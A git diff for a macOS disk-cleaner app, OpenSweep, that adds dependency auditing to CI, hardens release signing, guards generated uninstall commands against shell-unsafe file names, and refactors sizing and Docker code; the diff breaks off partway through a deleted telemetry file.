diff --git a/.github/workflows/engine-nightly.yml b/.github/workflows/engine-nightly.yml index f1da99f..924f509 100644 --- a/.github/workflows/engine-nightly.yml +++ b/.github/workflows/engine-nightly.yml @@ -10,6 +10,21 @@ permissions: contents: read jobs: + audit: + # A new RustSec advisory fails here even when no code changed. + runs-on: ubuntu-latest + defaults: + run: + working-directory: engine + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + with: + persist-credentials: false + - name: Install cargo-audit + run: cargo install --locked cargo-audit@0.23.0 + - name: Audit + run: cargo audit --deny warnings + fuzz: runs-on: ubuntu-latest timeout-minutes: 45 diff --git a/.github/workflows/engine.yml b/.github/workflows/engine.yml index 7d5df62..494e9d8 100644 --- a/.github/workflows/engine.yml +++ b/.github/workflows/engine.yml @@ -15,6 +15,22 @@ concurrency: cancel-in-progress: true jobs: + audit: + # Known vulnerabilities in the engine's dependencies (RustSec). Also + # runs weekly from engine-nightly, so a new advisory is seen without a push. + runs-on: ubuntu-latest + defaults: + run: + working-directory: engine + steps: + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + with: + persist-credentials: false + - name: Install cargo-audit + run: cargo install --locked cargo-audit@0.23.0 + - name: Audit + run: cargo audit --deny warnings + check: strategy: fail-fast: false diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 070f50e..3d4da43 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -16,6 +16,9 @@ jobs: dmg: name: Build, sign, notarize and publish runs-on: macos-26 + # Waits for the owner's approval; the signing secrets live only in this + # environment, so no other workflow or branch can read them. + environment: release env: VERSION: ${{ github.ref_name }} HAS_CERT: ${{ secrets.MACOS_CERT_P12 != '' }} @@ -61,7 +64,7 @@ jobs: security set-keychain-settings -lut 21600 "$KEYCHAIN" security unlock-keychain -p "$PASS" "$KEYCHAIN" echo "$P12" | base64 --decode > "$RUNNER_TEMP/cert.p12" - security import "$RUNNER_TEMP/cert.p12" -P "$P12_PASSWORD" -A -t cert -f pkcs12 -k "$KEYCHAIN" + security import "$RUNNER_TEMP/cert.p12" -P "$P12_PASSWORD" -T /usr/bin/codesign -t cert -f pkcs12 -k "$KEYCHAIN" rm "$RUNNER_TEMP/cert.p12" security set-key-partition-list -S apple-tool:,apple: -s -k "$PASS" "$KEYCHAIN" security list-keychain -d user -s "$KEYCHAIN" login.keychain-db @@ -113,6 +116,12 @@ jobs: codesign --sign "$SIGN_IDENTITY" --timestamp "dist/OpenSweep-$V.dmg" fi + # Nothing after this signs, so the key leaves before any later step + # (notarization, the SBOM and release actions) runs. + - name: Remove the signing keychain + if: always() && env.HAS_CERT == 'true' + run: security delete-keychain "$RUNNER_TEMP/build.keychain-db" || true + - name: Notarize and staple if: env.HAS_CERT == 'true' env: diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f0e81e6..293a7bb 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -27,7 +27,7 @@ xcodebuild -project OpenSweep.xcodeproj -scheme OpenSweep -configuration Debug \ ``` Xcode 16 or later; macOS 14 or later to run. The app finds its engine at -`Contents/Helpers/opensweep`; set `OPENSWEEP_BIN` to use another binary +`Contents/Helpers/opensweep`; in Debug builds, set `OPENSWEEP_BIN` to use another binary while developing. ## Layout diff --git a/CleanCore/Package.swift b/CleanCore/Package.swift index 0a47a5a..a182872 100644 --- a/CleanCore/Package.swift +++ b/CleanCore/Package.swift @@ -24,7 +24,7 @@ let package = Package( ), .testTarget( name: "AgentEngineTests", - dependencies: ["AgentEngine"], + dependencies: ["AgentEngine", "CleanCore"], path: "Tests/AgentEngineTests", swiftSettings: [.swiftLanguageMode(.v6)] ), diff --git a/CleanCore/Sources/AgentEngine/Engine.swift b/CleanCore/Sources/AgentEngine/Engine.swift index a215598..29d18b1 100644 --- a/CleanCore/Sources/AgentEngine/Engine.swift +++ b/CleanCore/Sources/AgentEngine/Engine.swift @@ -139,13 +139,16 @@ public struct Engine: Sendable { return AsyncThrowingStream { continuation in let process: Process let exit: AsyncStream - let out = Pipe() + let out = Pipe(), err = Pipe() do { - (process, exit) = try launch(args, stdout: out) + (process, exit) = try launch(args, stdout: out, stderr: err) } catch { continuation.finish(throwing: error) return } + // Drained alongside stdout so a chatty engine cannot stall, and + // kept so a failed scan says why. + let errors = Task.detached { await Self.readAll(err) } let reader = Task.detached { do { for try await line in out.fileHandleForReading.bytes.lines { @@ -157,7 +160,9 @@ public struct Engine: Sendable { } let status = await Self.status(exit) if status != 0 { - throw EngineError.badOutput("scan exited with \(status)") + let why = String(decoding: await errors.value, as: UTF8.self) + .trimmingCharacters(in: .whitespacesAndNewlines).suffix(500) + throw EngineError.badOutput("scan exited with \(status)" + (why.isEmpty ? "" : ": \(why)")) } continuation.finish() } catch { @@ -167,6 +172,7 @@ public struct Engine: Sendable { continuation.onTermination = { _ in if process.isRunning { process.terminate() } reader.cancel() + errors.cancel() } } } diff --git a/CleanCore/Sources/AgentEngine/Models.swift b/CleanCore/Sources/AgentEngine/Models.swift index 3b2f0ba..95af740 100644 --- a/CleanCore/Sources/AgentEngine/Models.swift +++ b/CleanCore/Sources/AgentEngine/Models.swift @@ -24,9 +24,12 @@ public struct Item: Codable, Sendable, Hashable { public let bytes: UInt64? /// Why the guard refuses it, when it does. public let refused: String? + /// Shares space with files elsewhere (pnpm or Bun store, hard links): + /// `bytes` is an upper estimate. Older engines leave it out. + public var shared: Bool? = nil enum CodingKeys: String, CodingKey { - case path, rule, kind = "class", bytes, refused + case path, rule, kind = "class", bytes, refused, shared } } @@ -55,6 +58,8 @@ public struct ScanSummary: Codable, Sendable, Hashable { public enum SkipReason: String, Codable, Sendable { case unreadable + /// Refused by macOS privacy protection; Full Disk Access fixes it. + case protected case otherVolume = "other_volume" case depthLimit = "depth_limit" case entryLimit = "entry_limit" diff --git a/CleanCore/Sources/CleanCore/CMConstants.swift b/CleanCore/Sources/CleanCore/CMConstants.swift index 936ee6d..dbf460f 100644 --- a/CleanCore/Sources/CleanCore/CMConstants.swift +++ b/CleanCore/Sources/CleanCore/CMConstants.swift @@ -1,154 +1,19 @@ import Foundation -/// Well-known paths and safety limits. Nothing in here is user-configurable; -/// anything the user can tune lives in `CleanSettings`. +/// Well-known paths. Nothing in here is user-configurable. /// /// Path tables adapted from Mac Sai (BSD-3-Clause, © iliyami contributors). public enum CMConstants { public static let appName = "OpenSweep" - public static let bundleIdentifier = "com.finjineers.opensweep" - // MARK: - Safety limits - - public static let maxFilesPerOperation = 10_000 - public static let cleanChunkSize = 5_000 - public static let maxTotalItemsPerCleanOperation = 500_000 - - /// Paths the engine refuses to delete under, after symlink resolution. - public static let protectedPaths: Set = [ - "/System", "/usr", "/bin", "/sbin", "/Library/Apple", "/private/var/db", - ] - - public static let protectedApps: Set = [ - "com.apple.finder", "com.apple.Safari", "com.apple.mail", "com.apple.Terminal", - "com.apple.systempreferences", "com.apple.ActivityMonitor", "com.apple.Console", - "com.apple.DiskUtility", "com.apple.dt.Xcode", "com.apple.AppStore", - "com.apple.iCal", "com.apple.AddressBook", "com.apple.Preview", "com.apple.TextEdit", - "com.apple.calculator", "com.apple.Dictionary", "com.apple.Maps", "com.apple.Notes", - "com.apple.reminders", "com.apple.Stickies", "com.apple.VoiceMemos", "com.apple.stocks", - "com.apple.weather", "com.apple.Passwords", "com.apple.FaceTime", "com.apple.MobileSMS", - "com.apple.Photos", "com.apple.Music", - ] - - // MARK: - Home / Library - - public static let home = FileManager.default.homeDirectoryForCurrentUser /// Home path without the trailing slash URL.path adds, for string prefix work. public static let homePath: String = { var p = FileManager.default.homeDirectoryForCurrentUser.path(percentEncoded: false) while p.count > 1 && p.hasSuffix("/") { p.removeLast() } return p }() - public static let userLibrary = home.appending(path: "Library") - public static let userCaches = userLibrary.appending(path: "Caches") - public static let userLogs = userLibrary.appending(path: "Logs") - public static let userPreferences = userLibrary.appending(path: "Preferences") - public static let userAppSupport = userLibrary.appending(path: "Application Support") - public static let userContainers = userLibrary.appending(path: "Containers") - public static let userGroupContainers = userLibrary.appending(path: "Group Containers") - public static let userLaunchAgents = userLibrary.appending(path: "LaunchAgents") - public static let userSavedAppState = userLibrary.appending(path: "Saved Application State") - public static let userCookies = userLibrary.appending(path: "Cookies") - public static let userHTTPStorages = userLibrary.appending(path: "HTTPStorages") - public static let userWebKit = userLibrary.appending(path: "WebKit") - public static let userDiagnosticReports = userLogs.appending(path: "DiagnosticReports") - - public static let systemLibrary = URL(filePath: "/Library") - public static let systemCaches = systemLibrary.appending(path: "Caches") - public static let systemLogs = systemLibrary.appending(path: "Logs") - public static let systemLaunchAgents = systemLibrary.appending(path: "LaunchAgents") - public static let systemLaunchDaemons = systemLibrary.appending(path: "LaunchDaemons") - public static let varLog = URL(filePath: "/var/log") - - public static let userTrash = home.appending(path: ".Trash") - public static let downloads = home.appending(path: "Downloads") - public static let documentVersions = home.appending(path: ".DocumentRevisions-V100") - public static let mobileBackups = userAppSupport.appending(path: "MobileSync/Backup") - - // MARK: - Xcode - - public static let xcodeDerivedData = userLibrary.appending(path: "Developer/Xcode/DerivedData") - public static let xcodeArchives = userLibrary.appending(path: "Developer/Xcode/Archives") - public static let xcodeDeviceSupport = userLibrary.appending(path: "Developer/Xcode/iOS DeviceSupport") - public static let coreSimulatorDevices = userLibrary.appending(path: "Developer/CoreSimulator/Devices") - public static let coreSimulatorCaches = userLibrary.appending(path: "Developer/CoreSimulator/Caches") - public static let xcodePreviews = userLibrary.appending(path: "Developer/Xcode/UserData/Previews") - - // MARK: - Browsers - - public static let safariCache = userCaches.appending(path: "com.apple.Safari") - public static let chromeAppSupport = userAppSupport.appending(path: "Google/Chrome") - public static let chromeCache = userCaches.appending(path: "Google/Chrome") - public static let edgeAppSupport = userAppSupport.appending(path: "Microsoft Edge") - public static let edgeCache = userCaches.appending(path: "Microsoft Edge") - public static let braveAppSupport = userAppSupport.appending(path: "BraveSoftware/Brave-Browser") - public static let braveCache = userCaches.appending(path: "BraveSoftware/Brave-Browser") - public static let arcAppSupport = userAppSupport.appending(path: "Arc/User Data") - public static let arcCache = userCaches.appending(path: "company.thebrowser.Browser") - public static let firefoxProfiles = userAppSupport.appending(path: "Firefox/Profiles") - public static let firefoxCache = userCaches.appending(path: "Firefox/Profiles") - - // MARK: - Package managers and dev tool caches (global, not per-project) - - public static let npmCacache = home.appending(path: ".npm/_cacache") - public static let npxCache = home.appending(path: ".npm/_npx") - public static let pnpmStore = userLibrary.appending(path: "pnpm/store") - public static let pnpmCache = userCaches.appending(path: "pnpm") - public static let yarnCache = userCaches.appending(path: "Yarn") - public static let bunCache = home.appending(path: ".bun/install/cache") - public static let pipCache = userCaches.appending(path: "pip") - public static let uvCache = home.appending(path: ".cache/uv") - public static let poetryCache = userCaches.appending(path: "pypoetry") - public static let cargoRegistryCache = home.appending(path: ".cargo/registry/cache") - public static let cargoRegistrySrc = home.appending(path: ".cargo/registry/src") - public static let cargoGitCheckouts = home.appending(path: ".cargo/git/checkouts") - public static let goModCache = home.appending(path: "go/pkg/mod/cache") - public static let goBuildCache = userCaches.appending(path: "go-build") - public static let gradleCaches = home.appending(path: ".gradle/caches") - public static let gradleDaemon = home.appending(path: ".gradle/daemon") - public static let gradleWrapperDists = home.appending(path: ".gradle/wrapper/dists") - public static let mavenRepo = home.appending(path: ".m2/repository") - public static let cocoapodsCache = userCaches.appending(path: "CocoaPods") - public static let homebrewCache = userCaches.appending(path: "Homebrew") - public static let pubCache = home.appending(path: ".pub-cache") - public static let composerCache = userCaches.appending(path: "composer") - public static let playwrightBrowsers = userCaches.appending(path: "ms-playwright") - public static let puppeteerCache = userCaches.appending(path: "puppeteer") - public static let cypressCache = userCaches.appending(path: "Cypress") - public static let typescriptCache = userCaches.appending(path: "typescript") - public static let nodeGypCache = userCaches.appending(path: "node-gyp") - public static let colimaCache = userCaches.appending(path: "colima") - public static let huggingFaceCache = home.appending(path: ".cache/huggingface") - public static let torchCache = home.appending(path: ".cache/torch") - - // MARK: - Editors and AI tools (cache dirs only, never settings/sessions) - - public static func electronCaches(_ appSupportName: String) -> [URL] { - let base = userAppSupport.appending(path: appSupportName) - return ["Cache", "Code Cache", "GPUCache", "CachedData", "CachedProfilesData", "CachedExtensionVSIXs"] - .map { base.appending(path: $0) } - } - public static var vsCodeCaches: [URL] { electronCaches("Code") } - public static var cursorCaches: [URL] { electronCaches("Cursor") } - public static var antigravityCaches: [URL] { electronCaches("Antigravity") } - public static var slackCaches: [URL] { electronCaches("Slack") } - public static var notionCaches: [URL] { electronCaches("Notion") } - public static var discordCaches: [URL] { electronCaches("discord") } - public static var claudeDesktopCaches: [URL] { electronCaches("Claude") } - - public static let claudeCache = home.appending(path: ".claude/cache") - public static let claudePasteCache = home.appending(path: ".claude/paste-cache") - public static let claudeShellSnapshots = home.appending(path: ".claude/shell-snapshots") - public static let claudeCliCache = userCaches.appending(path: "claude-cli-nodejs") - public static let codexCache = home.appending(path: ".codex/cache") - public static let codexTmp = home.appending(path: ".codex/.tmp") - - // MARK: - App data directories - public static let appSupportDir = userAppSupport.appending(path: appName) - public static let quarantineDir = appSupportDir.appending(path: "Quarantine") - public static let settingsFile = appSupportDir.appending(path: "settings.json") - public static let projectRegistryFile = appSupportDir.appending(path: "projects.json") - public static let operationLogDir = userLogs.appending(path: appName) - public static let operationLogFile = operationLogDir.appending(path: "operations.log") + /// ~/Library/Application Support/OpenSweep: the app's own small caches. + public static let appSupportDir = FileManager.default.homeDirectoryForCurrentUser + .appending(path: "Library/Application Support").appending(path: appName) } diff --git a/CleanCore/Sources/CleanCore/DevStackInventory.swift b/CleanCore/Sources/CleanCore/DevStackInventory.swift index 85b6925..d2b51d8 100644 --- a/CleanCore/Sources/CleanCore/DevStackInventory.swift +++ b/CleanCore/Sources/CleanCore/DevStackInventory.swift @@ -51,6 +51,16 @@ public struct DevStackItem: Identifiable, Sendable, Hashable { case command(String) /// Data. Shown for awareness only. case never + + /// `tool name` as a copyable command, or `.never` when `name` (a file + /// or package name found on disk) holds anything a shell would read + /// as more than a word: a hostile name must not become a pasteable + /// payload. + public static func command(_ tool: String, _ name: String) -> Removal { + let plain = CharacterSet(charactersIn: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@._/+-") + guard !name.isEmpty, !name.hasPrefix("-"), name.unicodeScalars.allSatisfy(plain.contains) else { return .never } + return .command("\(tool) \(name)") + } } public var formattedSize: String { ByteFormatter.string(bytes) } @@ -99,7 +109,7 @@ public enum DevStackInventory { detail: "Homebrew formula · \(versions.joined(separator: ", "))" + (svc.map { " · service \($0)" } ?? ""), path: path, bytes: bytes, modified: mtime(path), status: svc == "started" ? .running : (svc != nil ? .stopped : .installed), - removal: .command("brew uninstall \(formula)"), + removal: .command("brew uninstall", formula), hint: isDB && !formula.hasPrefix("sqlite") ? "Engine only. Its data lives under \(prefix)/var." : nil )) } @@ -122,7 +132,7 @@ public enum DevStackInventory { } for (name, state) in services where !items.contains(where: { $0.name == name }) { items.append(DevStackItem(group: .services, name: name, detail: "brew service", path: "\(prefix)/opt/\(name)", bytes: 0, modified: nil, - status: state == "started" ? .running : .stopped, removal: .command("brew services stop \(name)"), hint: nil)) + status: state == "started" ? .running : .stopped, removal: .command("brew services stop", name), hint: nil)) } } return items @@ -153,7 +163,7 @@ public enum DevStackInventory { ] for (name, app, data) in apps where exists(app) { let dataExists = exists(data) - items.append(DevStackItem(group: .databases, name: name, detail: dataExists ? "App · data in \(data.replacingOccurrences(of: home, with: "~"))" : "App", + items.append(DevStackItem(group: .databases, name: name, detail: dataExists ? "App · data in \(tilde(data, home))" : "App", path: dataExists ? data : app, bytes: size(app) + (dataExists ? size(data) : 0), modified: mtime(app), status: .installed, removal: .never, hint: name == "Postgres.app" ? "Databases live in Application Support/Postgres." : nil)) } @@ -180,7 +190,7 @@ public enum DevStackInventory { items.append(DevStackItem(group: .databases, name: c.name, detail: "Docker · \(c.image)" + (c.composeProject.map { " · compose \($0) · \(ByteFormatter.string(bytes)) in project volumes" } ?? ""), path: "docker://container/\(c.containerID)", bytes: bytes, modified: nil, status: c.isRunning ? .running : .stopped, removal: .never, - hint: c.workingDir.map { "Belongs to \($0.replacingOccurrences(of: home, with: "~"))" })) + hint: c.workingDir.map { "Belongs to \(tilde($0, home))" })) } } return items @@ -227,7 +237,7 @@ public enum DevStackInventory { versions("\(home)/.volta/tools/image/node", manager: "node", defaultFile: nil) versions("\(home)/.local/share/mise/installs", manager: "mise", defaultFile: nil) for (name, path) in [("bun", "\(home)/.bun"), ("deno", "\(home)/.deno"), ("dotnet", "\(home)/.dotnet"), ("conda", "\(home)/miniconda3"), ("conda", "\(home)/anaconda3"), ("conda", "\(home)/miniforge3"), ("flutter", "\(home)/development/flutter"), ("flutter", "\(home)/flutter")] where exists(path) { - items.append(DevStackItem(group: .toolchains, name: name, detail: path.replacingOccurrences(of: home, with: "~"), path: path, bytes: size(path), modified: mtime(path), status: .installed, removal: .quarantinePath, hint: nil)) + items.append(DevStackItem(group: .toolchains, name: name, detail: tilde(path, home), path: path, bytes: size(path), modified: mtime(path), status: .installed, removal: .quarantinePath, hint: nil)) } return items } @@ -242,29 +252,35 @@ public enum DevStackInventory { for root in nodeRoots where exists(root) { for pkg in entries(root) where !["npm", "corepack"].contains(pkg) { if pkg.hasPrefix("@") { - for scoped in entries("\(root)/\(pkg)") { add(&items, "\(pkg)/\(scoped)", "\(root)/\(pkg)/\(scoped)", "npm global", "npm uninstall -g \(pkg)/\(scoped)") } + for scoped in entries("\(root)/\(pkg)") { add(&items, "\(pkg)/\(scoped)", "\(root)/\(pkg)/\(scoped)", "npm global", .command("npm uninstall -g", "\(pkg)/\(scoped)")) } } else { - add(&items, pkg, "\(root)/\(pkg)", "npm global", "npm uninstall -g \(pkg)") + add(&items, pkg, "\(root)/\(pkg)", "npm global", .command("npm uninstall -g", pkg)) } } } - for v in entries("\(home)/.local/pipx/venvs") { add(&items, v, "\(home)/.local/pipx/venvs/\(v)", "pipx", "pipx uninstall \(v)") } - for v in entries("\(home)/.local/share/uv/tools") { add(&items, v, "\(home)/.local/share/uv/tools/\(v)", "uv tool", "uv tool uninstall \(v)") } - for v in entries("\(home)/.bun/install/global/node_modules") where v != ".bin" { add(&items, v, "\(home)/.bun/install/global/node_modules/\(v)", "bun global", "bun remove -g \(v)") } + for v in entries("\(home)/.local/pipx/venvs") { add(&items, v, "\(home)/.local/pipx/venvs/\(v)", "pipx", .command("pipx uninstall", v)) } + for v in entries("\(home)/.local/share/uv/tools") { add(&items, v, "\(home)/.local/share/uv/tools/\(v)", "uv tool", .command("uv tool uninstall", v)) } + for v in entries("\(home)/.bun/install/global/node_modules") where v != ".bin" { add(&items, v, "\(home)/.bun/install/global/node_modules/\(v)", "bun global", .command("bun remove -g", v)) } for v in entries("\(home)/.cargo/bin") where !["cargo", "rustc", "rustup", "rustfmt", "clippy-driver", "cargo-clippy", "cargo-fmt", "rust-analyzer", "rust-gdb", "rust-lldb", "rustdoc", "cargo-miri", "rls"].contains(v) { - add(&items, v, "\(home)/.cargo/bin/\(v)", "cargo install", "cargo uninstall \(v)") + add(&items, v, "\(home)/.cargo/bin/\(v)", "cargo install", .command("cargo uninstall", v)) } for v in entries("\(home)/go/bin") { add(&items, v, "\(home)/go/bin/\(v)", "go install", nil) } for v in entries("\(home)/.local/bin") { add(&items, v, "\(home)/.local/bin/\(v)", "~/.local/bin", nil, sizeIt: false) } return items } - static func add(_ items: inout [DevStackItem], _ name: String, _ path: String, _ source: String, _ cmd: String?, sizeIt: Bool = true) { + /// `path` with the home folder shown as ~; only a whole leading folder + /// matches (home /Users/bob leaves /Users/bobby alone). + static func tilde(_ path: String, _ home: String) -> String { + path == home || path.hasPrefix(home + "/") ? "~" + path.dropFirst(home.count) : path + } + + static func add(_ items: inout [DevStackItem], _ name: String, _ path: String, _ source: String, _ removal: DevStackItem.Removal?, sizeIt: Bool = true) { let bytes = sizeIt ? size(path) : 0 let m = mtime(path) let old = m.map { Date().timeIntervalSince($0) > 180 * 86_400 } ?? false items.append(DevStackItem(group: .globalTools, name: name, detail: source, path: path, bytes: bytes, modified: m, - status: .installed, removal: cmd.map { .command($0) } ?? .quarantinePath, + status: .installed, removal: removal ?? .quarantinePath, hint: old ? "Not updated for 6+ months" : nil)) } @@ -288,7 +304,7 @@ public enum DevStackInventory { for (name, p) in known where exists(p) { let bytes = size(p) guard bytes > 1_000_000 else { continue } - items.append(DevStackItem(group: .sdks, name: name, detail: p.replacingOccurrences(of: home, with: "~"), path: p, bytes: bytes, modified: mtime(p), status: .installed, + items.append(DevStackItem(group: .sdks, name: name, detail: tilde(p, home), path: p, bytes: bytes, modified: mtime(p), status: .installed, removal: name.contains("AWS") ? .never : .quarantinePath, hint: nil)) } return items @@ -297,7 +313,7 @@ public enum DevStackInventory { static func vmItems() async -> [DevStackItem] { var items: [DevStackItem] = [] let known: [(String, String, String?)] = [ - ("colima VM disk", "\(home)/.colima/_lima/_disks", "Docker images and volumes live inside this disk. Prune with the Docker module; the file shrinks only when colima recreates it."), + ("colima VM disk", "\(home)/.colima/_lima/_disks", "Docker images and volumes live inside this disk. Prune them with docker system prune; the file shrinks only when colima recreates it."), ("lima VMs", "\(home)/.lima", nil), ("Docker Desktop VM", "\(home)/Library/Containers/com.docker.docker/Data/vms", nil), ("OrbStack", "\(home)/.orbstack", nil), @@ -309,7 +325,7 @@ public enum DevStackInventory { ("Multipass", "\(home)/Library/Application Support/multipassd", nil), ] for (name, p, hint) in known where exists(p) { - items.append(DevStackItem(group: .vms, name: name, detail: p.replacingOccurrences(of: home, with: "~"), path: p, bytes: size(p), modified: mtime(p), status: .installed, removal: .never, hint: hint)) + items.append(DevStackItem(group: .vms, name: name, detail: tilde(p, home), path: p, bytes: size(p), modified: mtime(p), status: .installed, removal: .never, hint: hint)) } return items } diff --git a/CleanCore/Sources/CleanCore/DirectorySizer.swift b/CleanCore/Sources/CleanCore/DirectorySizer.swift index ce39aa6..321ec1f 100644 --- a/CleanCore/Sources/CleanCore/DirectorySizer.swift +++ b/CleanCore/Sources/CleanCore/DirectorySizer.swift @@ -1,29 +1,34 @@ import Foundation -/// Fast recursive directory sizing on BSD APIs. Dedupes hard links by inode. +/// Fast recursive directory sizing on BSD APIs, by the engine's rules +/// (`size.rs`): hard links count once, links are not followed, and the walk +/// stays on the volume it starts on. public enum DirectorySizer { public struct Sizes: Sendable { - public let logical: UInt64 public let allocated: UInt64 public let fileCount: Int } public static func size(of url: URL) -> Sizes { - var logical: UInt64 = 0 var allocated: UInt64 = 0 var count = 0 - var seen = Set() - walk(url.path(percentEncoded: false), &logical, &allocated, &count, &seen) - return Sizes(logical: logical, allocated: allocated, fileCount: count) + var seen = Set() + let path = url.path(percentEncoded: false) + var root = stat() + let device = lstat(path, &root) == 0 ? root.st_dev : -1 + walk(path, device, &allocated, &count, &seen) + return Sizes(allocated: allocated, fileCount: count) } - private static func walk(_ path: String, _ logical: inout UInt64, _ allocated: inout UInt64, - _ count: inout Int, _ seen: inout Set) { + /// A file's identity: inode numbers are unique only within a volume. + private struct FileID: Hashable { let device: dev_t; let inode: ino_t } + + private static func walk(_ path: String, _ device: dev_t, _ allocated: inout UInt64, + _ count: inout Int, _ seen: inout Set) { guard let dir = opendir(path) else { // Might be a file, not a directory. var st = stat() if lstat(path, &st) == 0, (st.st_mode & S_IFMT) == S_IFREG { - logical += UInt64(st.st_size) allocated += UInt64(st.st_blocks) * 512 count += 1 } @@ -46,13 +51,11 @@ public enum DirectorySizer { guard ok else { continue } let mode = st.st_mode & S_IFMT if mode == S_IFDIR { - walk(path + "/" + name, &logical, &allocated, &count, &seen) + if st.st_dev == device { walk(path + "/" + name, device, &allocated, &count, &seen) } } else if mode == S_IFREG { - if st.st_nlink > 1, !seen.insert(UInt64(st.st_ino)).inserted { continue } - logical += UInt64(st.st_size) + if st.st_nlink > 1, !seen.insert(FileID(device: st.st_dev, inode: st.st_ino)).inserted { continue } allocated += UInt64(st.st_blocks) * 512 count += 1 - ScanTelemetry.shared.visited(count & 63 == 0 ? path + "/" + name : nil, bytes: UInt64(st.st_blocks) * 512) } } } diff --git a/CleanCore/Sources/CleanCore/DockerService.swift b/CleanCore/Sources/CleanCore/DockerService.swift index 12ce87d..b359422 100644 --- a/CleanCore/Sources/CleanCore/DockerService.swift +++ b/CleanCore/Sources/CleanCore/DockerService.swift @@ -1,30 +1,15 @@ import Foundation -/// Talks to the `docker` CLI. Images, volumes, and containers are mapped to -/// compose projects via labels so anything belonging to an active or pinned -/// project is never offered. +/// Reads containers and volume sizes from the `docker` CLI, read-only, so +/// Dev Stack can show database containers and their compose volumes. public actor DockerService { public static let shared = DockerService() public nonisolated let scheme = "docker" - public struct Image: Sendable, Identifiable { - public var id: String { imageID } - public let imageID: String - public let repository: String - public let tag: String - public let sizeBytes: UInt64 - public let uniqueBytes: UInt64 - public let containers: Int - public let created: String - public var ref: String { tag == "" ? imageID : "\(repository):\(tag)" } - public var shortID: String { String(imageID.replacingOccurrences(of: "sha256:", with: "").prefix(12)) } - } - public struct Volume: Sendable, Identifiable { public var id: String { name } public let name: String public let sizeBytes: UInt64 - public let links: Int public let composeProject: String? } @@ -36,29 +21,26 @@ public actor DockerService { public let state: String public let composeProject: String? public let workingDir: String? - public let sizeBytes: UInt64 public var isRunning: Bool { state.lowercased() == "running" } } public struct Snapshot: Sendable { public let available: Bool - public let images: [Image] public let volumes: [Volume] public let containers: [Container] - public let buildCacheBytes: UInt64 - public static let unavailable = Snapshot(available: false, images: [], volumes: [], containers: [], buildCacheBytes: 0) + public static let unavailable = Snapshot(available: false, volumes: [], containers: []) } private var dockerPath: String? { Shell.which("docker") } - public func isAvailable() async -> Bool { + private func isAvailable() async -> Bool { guard let docker = dockerPath else { return false } return await Shell.run(docker, ["info", "--format", "{{.ServerVersion}}"], timeout: 10).ok } public func snapshot() async -> Snapshot { guard let docker = dockerPath, await isAvailable() else { return .unavailable } - async let containersOut = Shell.run(docker, ["ps", "-a", "--format", "{{json .}}", "--size"]) + async let containersOut = Shell.run(docker, ["ps", "-a", "--format", "{{json .}}"]) async let dfOut = Shell.run(docker, ["system", "df", "-v", "--format", "{{json .}}"]) async let volumesOut = Shell.run(docker, ["volume", "ls", "--format", "{{json .}}"]) @@ -72,26 +54,12 @@ public actor DockerService { image: obj["Image"] as? String ?? "", state: obj["State"] as? String ?? "", composeProject: labels["com.docker.compose.project"], - workingDir: labels["com.docker.compose.project.working_dir"], - sizeBytes: Self.parseSize((obj["Size"] as? String ?? "").split(separator: " ").first.map(String.init) ?? "0") + workingDir: labels["com.docker.compose.project.working_dir"] )) } - var images: [Image] = [] var volumes: [Volume] = [] - var buildCache: UInt64 = 0 if let df = Self.json(await dfOut.stdout) { - for obj in df["Images"] as? [[String: Any]] ?? [] { - images.append(Image( - imageID: obj["ID"] as? String ?? "", - repository: obj["Repository"] as? String ?? "", - tag: obj["Tag"] as? String ?? "", - sizeBytes: Self.parseSize(obj["Size"] as? String ?? "0"), - uniqueBytes: Self.parseSize(obj["UniqueSize"] as? String ?? obj["Size"] as? String ?? "0"), - containers: Int(obj["Containers"] as? String ?? "0") ?? 0, - created: obj["CreatedSince"] as? String ?? "" - )) - } let volumeLabels: [String: String?] = Dictionary(uniqueKeysWithValues: (await volumesOut.stdout.split(separator: "\n")).compactMap { line -> (String, String?)? in guard let o = Self.json(String(line)), let name = o["Name"] as? String else { return nil } @@ -102,35 +70,11 @@ public actor DockerService { volumes.append(Volume( name: name, sizeBytes: Self.parseSize(obj["Size"] as? String ?? "0"), - links: Int(obj["Links"] as? String ?? "0") ?? 0, composeProject: volumeLabels[name] ?? nil )) } - for obj in df["BuildCache"] as? [[String: Any]] ?? [] { - buildCache += Self.parseSize(obj["Size"] as? String ?? "0") - } - } - return Snapshot(available: true, images: images, volumes: volumes, containers: containers, buildCacheBytes: buildCache) - } - - public func runningContainersByWorkingDir() async -> [String: Int] { - let snap = await snapshot() - var map: [String: Int] = [:] - for c in snap.containers where c.isRunning { - if let dir = c.workingDir { map[dir, default: 0] += 1 } - } - return map - } - - public enum DockerError: LocalizedError { - case unavailable, unknownKind(String), commandFailed(String) - public var errorDescription: String? { - switch self { - case .unavailable: "Docker is not running" - case .unknownKind(let k): "Unknown docker resource \(k)" - case .commandFailed(let s): s - } } + return Snapshot(available: true, volumes: volumes, containers: containers) } // MARK: - Parsing diff --git a/CleanCore/Sources/CleanCore/ScanTelemetry.swift b/CleanCore/Sources/CleanCore/ScanTelemetry.swift deleted file mode 100644 index 19ca048..0000000 --- a/CleanCore/Sources/CleanCore/ScanTelemetry.swift +++ /dev/null @@ -1,43 +0,0 @@ -import Foundation -import os - -/// Live counters every scanner bumps so the UI can show real motion while a -/// scan runs: files visited, bytes measured, the path being looked at. -public final class ScanTelemetry: Sendable { - public static let shared = ScanTelemetry() - - public struct Snapshot: Sendable, Equatable { - public var filesVisited: Int - public var bytesMeasured: UInt64 - public var currentPath: String - public var currentModule: String - public var itemsFound: Int - public var bytesFound: UInt64 - public var startedAt: Date? - } - - private let state = OSAllocatedUnfairLock(initialState: Snapshot(filesVisited: 0, bytesMeasured: 0, currentPath: "", currentModule: "", itemsFound: 0, bytesFound: 0, startedAt: nil)) - - public func reset(module: String = "") { - state.withLock { $0 = Snapshot(filesVisited: 0, bytesMeasured: 0, currentPath: "", currentModule: module, itemsFound: 0, bytesFound: 0, startedAt: Date()) } - } - - public func setModule(_ name: String) { state.withLock { $0.currentModule = name } } - - /// Called from hot loops; keep it cheap. The path is only recorded every - /// 64th call so the lock isn't contended on string copies. - @inline(__always) - public func visited(_ path: String? = nil, 